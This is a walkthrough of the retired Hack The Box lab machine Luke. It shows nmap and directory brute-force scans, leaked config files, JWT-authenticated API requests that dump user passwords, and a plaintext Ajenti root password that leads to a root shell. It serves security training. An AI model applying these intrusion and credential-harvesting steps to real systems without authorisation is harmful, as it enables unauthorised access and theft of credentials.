Htb Luke
by jake
This week we are taking a look at the retired Hack The Box machine Luke (Medium difficulty)
Starting off with our nmap scans:
root@kali: nmap -sC -sV -oN nmap 10.10.10.137
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-05 14:37 AEST
Nmap scan report for 10.10.10.137
Host is up (0.24s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.4
| Logged in as ftp
| TYPE: ASCII
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.77 seconds
root@kali: nmap -p- --max-retries 1 -Pn -T4 --oN nmap-allports 10.10.10.137
# Nmap 7.70 scan initiated Wed Jun 5 14:38:14 2019 as: nmap -p- --max-retries 1 -Pn -T4 --oN nmap-allports 10.10.10.137
Warning: 10.10.10.137 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.137
Host is up (0.24s latency).
Scanned at 2019-06-05 14:38:14 AEST for 996s
Not shown: 65030 closed ports, 500 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
8000/tcp open http-alt
Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Jun 5 14:54:50 2019 -- 1 IP address (1 host up) scanned in 996.06 seconds
root@kali: nmap -sC -sV -oN nmap-targeted -p3000,8000 10.10.10.137
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-05 14:56 AEST
Nmap scan report for 10.10.10.137
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.29 seconds
Straight away we have ftp open with anonymous access, so taking a quick look if there is anything there:
root@kali: ftp 10.10.10.137
Connected to 10.10.10.137.
220 vsFTPd 3.0.3+ (ext.1) ready...
Name (10.10.10.137:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
226 Directory send OK.
ftp> cd webapp
250 Directory successfully changed.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-xr-xr-x 1 0 0 306 Apr 14 12:37 for_Chihiro.txt
226 Directory send OK.
ftp> passive
Passive mode on.
ftp> binary
200 Switching to Binary mode.
ftp> get for_Chihiro.txt
local: for_Chihiro.txt remote: for_Chihiro.txt
227 Entering Passive Mode (10,10,10,137,121,126).
150 Opening BINARY mode data connection for for_Chihiro.txt (306 bytes).
226 Transfer complete.
306 bytes received in 0.00 secs (226.2136 kB/s)
We also try to upload a file but do not have permissions. Looking at the file we read a note from the developer:
root@kali: cat for_Chihiro.txt
Dear Chihiro !!
As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !
Derry
Looks like the website will be our next best bet!
Browsing over to http://10.10.10.137 we are presented with a pretty basic single page website that doesn’t have a lot in terms of functionality.. but we know something is here because the note told us.
Next steps is to enumerate the server using gobuster to see if there are any hidden directories or files that might help us:
root@kali: gobuster -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-x.log -u http://10.10.10.137 -x html,php,txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.137/
[+] Threads : 50
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : html,php,txt
[+] Timeout : 10s
=====================================================
2019/06/05 14:57:15 Starting gobuster
=====================================================
/login.php (Status: 200)
/index.html (Status: 200)
/member (Status: 301)
/css (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
/config.php (Status: 200)
/LICENSE (Status: 200)
/member
returns an empty directory listing page (so we know that the server has directory listing enabled) login.php opens up a login page.. but we have no credentials yet. Finally config.php
has something very interesting for us:
root@kali: cat config.php
$dbHost = 'localhost';
$dbUsername = 'root';
$dbPassword = 'Zk6heYCyv6ZE9Xcg';
$db = "login";
$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);
We have some database credentials for the login database. We try the password and a few common usernames against the login.php
but are not able to get in, so we continue digging.
Moving on to the next website on port 3000 we see that nmap has identified it as a Nodejs Express service. Hitting the site in a browser returns a response that we do not have an auth token:
But there has to be a way to get an auth token so we go back to our friend gobuster:
root@kali: gobuster -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt -o gobuster-3000.log -u http://10.10.10.137:3000
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.137:3000/
[+] Threads : 50
[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/06/05 15:20:31 Starting gobuster
=====================================================
/Login (Status: 200)
/login (Status: 200)
/users (Status: 200)
=====================================================
2019/06/05 15:20:55 Finished
=====================================================
We know that this is a nodejs Express api so there is no need to test file extensions.
/users
returns the same error message, but /login
looks like what we want. Reading up on how Express authenticates, we see that there are 2 likely options, Basic auth and Bearer auth using JWT tokens.
We try some GET connections adding Authorization: Basic and Authorization: Bearer with various combinations of usernames, but no change. It is time to see what other HTTP methods the endpoint allows by sending an OPTIONS request.
We see that the endpoint allows us to send POST requests, so we go through the motions of creating some json requests until eventually we get a hit:
Request:
POST /login HTTP/1.1
Host: 10.10.10.137:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"d-PH4Bpb6SoaW0jE2UrQrH8JM2BiI"
Content-Type: application/json
Content-Length: 50
{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}
Response:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 219
ETag: W/"db-eoHS07tdVgb0sOyNCnL1pg/Az+0"
Date: Wed, 05 Jun 2019 05:48:36 GMT
Connection: close
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5NzEzNzE2LCJleHAiOjE1NTk4MDAxMTZ9.LRYQG0loGWTPNntFDvwoVZU3YxDIeZR80Qe416tbh8s"}
Because we have been playing with JWT tokens we should almost instantly recognise the response token as a JWT that we can add to our request headers for the other endpoints:
Request:
GET /users/ HTTP/1.1
Host: 10.10.10.137:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5NzE1NTMwLCJleHAiOjE1NTk4MDE5MzB9.sMCOV6cpWIzHsfauFC579V9LqBvtQVYhyd5Z8CN_8sM
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 181
ETag: W/"b5-cGsywmWiRpCno11EZqocljZF8A8"
Date: Wed, 05 Jun 2019 06:19:31 GMT
Connection: close
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]
Note that here we are adding the token from the /login response as an Authorization: Bearer [TOKEN]
and we get a response listing out all the users.
With a development background and someone that is familiar with APIs and routing it was worth trying the user ids in the url. Generally REST APIs use routing and the request method to help decide what to do. Routing works by taking arguments from the URL such as /users/[userid] where userid will then be used by the application to perform a task against that id.
so we try to browse directly to something like /users/1 with the authentication token still in the headers. We get a 404 not found, but if we use the name field instead of the id field we begin to get some results:
Request:
GET /users/admin HTTP/1.1
Host: 10.10.10.137:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5NzE1NTMwLCJleHAiOjE1NTk4MDE5MzB9.sMCOV6cpWIzHsfauFC579V9LqBvtQVYhyd5Z8CN_8sM
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 45
ETag: W/"2d-6LfOUjcs63Zey9NM+wGG+B6F0ts"
Date: Wed, 05 Jun 2019 06:25:37 GMT
Connection: close
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
Following the same format for all the users initially returned we end up with the following list of credentials:
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
{"name":"Yuri","password":"bet@tester87"}
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}
Interestingly the admin password returned is different to the one we used to authenticate.
At this point it took a moment to figure out next steps.. the credentials did not work on any of the login screens we have encountered so far, nor did they work against SSH or FTP. So we went back to the drawing board and re-scanned the website, this time trying a new tool called erodir (https://github.com/PinkP4nther/EroDir)
By default EroDir happens to include 401 responses as a valid response code which leads us to a folder we had not seen yet:
root@kali: erodir -u http://10.10.10.137 -e /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-=[ EroDir v1.7 ]=-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-=[ @Pink_P4nther ]=-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
[+] Target: [http://10.10.10.137/]
[+] Entry List: [/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt]
[+] Timeout: [5]
[+] HTTP codes: [200,301,302,401,403]
[+] Threads: [50]
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
[*] Reading lines..
[*] Bruteforcing 220560 entries!
[*] Threads Built: 50
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
=> http://10.10.10.137/member (Status: 301)
=> http://10.10.10.137/css (Status: 301)
=> http://10.10.10.137/management (Status: 401)
=> http://10.10.10.137/js (Status: 301)
=> http://10.10.10.137/vendor (Status: 301)
=> http://10.10.10.137/LICENSE (Status: 200)
Hitting /management
prompts us for Basic Auth, finally we are able to use Derry:rZ86wwLvx7jUxtch
to log in.
We are presented with 3 files. config.php looks to be the same as the one we have already seen, login.php provides a different login page to the previous one and config.json shares some interesting information about the Ajenti software installed on port 8000.
config.json:
{
"users": {
"root": {
"configs": {
"ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}",
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}",
"ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}",
"ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}",
"ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}",
"ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}",
"ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}",
"ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}",
"ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}",
"ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}",
"ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}",
"ajenti.users.UserManager": "{\"sync-provider\": \"\"}",
"ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}",
"ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}",
"ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
},
"password": "KpMasng6S5EtTy9Z",
"permissions": []
}
},
"language": "",
"bind": {
"host": "0.0.0.0",
"port": 8000
},
"enable_feedback": true,
"ssl": {
"enable": false,
"certificate_path": ""
},
"authentication": true,
"installation_id": 12354
}
Straight away we have a password in plain text. we try the combination root:KpMasng6S5EtTy9Z
against the login form on port 8000 and get in.
Ajenti is a server management tool and on the left hand side we see a terminal option. Clicking this brings up a page of existing terminals, if none exist from previous users create a new one. We get dumped straight into a root shell and can read the /root/root.txt
as well as the /home/derry/user.txt
flags.